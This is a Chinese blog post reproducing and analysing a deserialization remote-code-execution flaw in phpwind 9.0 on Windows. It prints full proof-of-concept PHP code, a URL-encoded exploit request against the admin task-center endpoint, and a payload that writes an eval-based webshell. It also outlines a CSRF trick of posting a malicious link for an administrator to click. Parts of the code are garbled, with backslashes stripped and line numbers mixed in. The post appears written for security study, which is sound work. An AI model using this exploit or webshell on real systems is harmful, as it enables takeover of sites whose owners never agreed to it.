%3c php 能用什么代替,Phpwind9

漏洞复现

复现环境Windows10

php5.6

phpwind9.0

漏洞要求系统为windows

需要有访问后台任务中心权限

复现过程step1 生成反序列化poc1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30header("Content-Type: text/plain");

require_once "test2.php";

class{

private $_callback;

private $_args;

function __construct()

{

$this->_callback = [

'assert'

];

$this->_args = [

["phpinfo() && file_put_contents('shell.php','<?php eval($_REQUEST[233]); ?>');"]

];

}

}

$obj = new stdClass();

$obj->a = new srclibraryutilityPwDelayRun();

$obj->b = new PwDelayRun();

echo serialize($obj);

echo "n";

echo urlencode(serialize($obj));

?>

namespace srclibraryutility;

class PwDelayRun{

}

?>

5ddbd94a29227.png

step2 使用admin账户登陆,然后请求http://127.0.0.1/phpwind9.0/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A79%3A%22phpinfo%28%29%3Bfile_put_contents%28%27shell.php%27%2C%27%3C%3Fphp+eval%28%24_REQUEST%5B233%5D%29%3B+%3F%3E%27%29%3Bexit%3B%22%3B%7D%7D%7D%7D

代码成功执行

5ddbd94bd63dd.png

shell成功写入

5ddbd94dc8b10.png

漏洞分析

全局搜索找到反序列化位置

漏洞位置一共三处:1

2

3/src/applications/admin/TaskConditionBbsController.php

/src/applications/admin/TaskConditionMemberController.php

/src/applications/admin/TaskRewardController.php

这里使用/src/applications/admin/TaskConditionMemberController.php

5ddbd94f6d26f.png

$var = unserialize($this->getInput('var'));

,从Input中获取var参数的值,进行反序列化。 这个Input可以来自get/post/cookie。只要在phpwind里找到反序列化可以利用的点,就能在这里触发反序列化漏洞。

全局搜索_destruct

可以找到一个PwDelayRun类,其中遍历了_callback数组,用call_user_func_array执行任意函数。这里如果_callback可控,那么就可以直接执行assert+任意代码了。在/src/applications/admin/TaskConditionMemberController.php中,输入可以控制PwDelayRun类的序列化字符串,但是在执行反序列话之前必须定义了PwDelayRun类(也就是在此之前要包含过PwDelayRun所在的文档)

在TaskConditionMemberController::beforeAction::unserialize处下端点,并在之前输出当前所定义的所有类

5ddbd950f39bd.png

访问连接http://127.0.0.1/phpwind9.0/admin.php?m=task&c=TaskConditionMember&a=profile&var=

5ddbd9526911e.png

可以看到在此之前没有定义过PwDelayRun类,那么即使反序列化也不会调用相关方法

spl_autoload包含任意php文档

为了包含PwDelayRun类,作者提到了使用spl_autoloa方法,就是说如果要使用的类不存在,会调用框架自己注册的autoload方法加载类。在phpwind9中,实现了autoload方法,并注册了

5ddbd9544359b.png

5ddbd955c5a1d.png

但是这里className没有路径,PwDelayRun类在src/library/utility/PwDelayRun.php文档中,需要传入路径才可以包含到这个类。 虽然类名不能包含特殊字符,但类名中是可以包含的,这是php中空间命名。命名空间中可以包含,而在windows下,也可以作为路径的分隔符,因此可以在payload中使用命名空间生成序列化字符串,在phpwind9中找不到类的时候,就会使用include包含。而包含时只能在windows上使用,所以只限于windows系统。

但是,这里将类名设置为srclibraryutilityPwDelayRun,而 整个phpwind全局是没有使用命名空间的,也就是默认命名空间为,但现在的PwDelayRun类所在的命名空间为srclibraryutility。 这样,即使我包含了srclibraryutilityPwDelayRun.php文档,反序列化的时候是实例化的srclibraryutilityPwDelayRun类。但phpwind的命名空间是,上下文存在的类是PwDelayRun类,还是无法正常进行(得到的是一个不完整的类__php_incomplete_class,这是因为php反序列化一个对象,PHP无法找到原始类,所以PHP不知道,这个类是怎么样的):

5ddbd957262ee.png

只要生成srclibraryutilityPwDelayRun类和PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文档,在反序列化后者的过程中拿到PwDelayRun对象

利用数组+命名空间加载相同名字的类

生成srclibraryutilityPwDelayRun类和PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文档,在反序列化后者的过程中拿到PwDelayRun对象。但是有个数组判断,

5ddbd958d6f5c.png

这里如果反序列化后是个数组,就会保存到output中,导致变量不会在beforeAction结束时销毁,而是在脚本束时销毁。如果在结束时销毁,由于没有了上下文,poc中写文档那一步是写不进去的,除非文档路径给绝对给绝对路径,自己可以测试下。作者在分析中给了一个方法,就是用其他对象来替代数组,比如stdClass,

所以最后得到如下poc:1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28<?php

// test1.php

header("Content-Type: text/plain");

require_once "test2.php";

class PwDelayRun{

private $_callback;

private $_args;

function __construct()

{

$this->_callback = [

'assert'

];

$this->_args = [

["phpinfo() && file_put_contents('shell.php','<?php eval($_REQUEST[233]); ?>')"]

];

}

}

$obj = new stdClass();

$obj->a = new srclibraryutilityPwDelayRun();

$obj->b = new PwDelayRun();

echo urlencode(serialize($obj));

?>

//test2.php

namespace srclibraryutility;

class PwDelayRun{

}

?>

csrf

由于上面的代码执行链接是get请求,不需要post中的csrftoken或其他验证,所以可以写个帖子,插入恶意链接,等待管理员点击。但是帖子中把&编码了,导致请求不正常,不过可以增加一步跳转

总结

这个漏洞很犀利和巧妙,所以自己跟踪与学习了下,加强自己的代码审计与分析能力,还有学到一些新技能:可以调用get_declared_classes查看当前执行所加载的所有自定义类

反序列化时,如果反序列化点之前没有加载过要反序列化的类,spl_autoload可能会很有帮助,查看框架是否使用了autoload

反序列化时,可以使用一种对象替代另一种对象绕过某些判断(比如用stdClass替代array)

-------------本文结束感谢您的阅读-------------

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值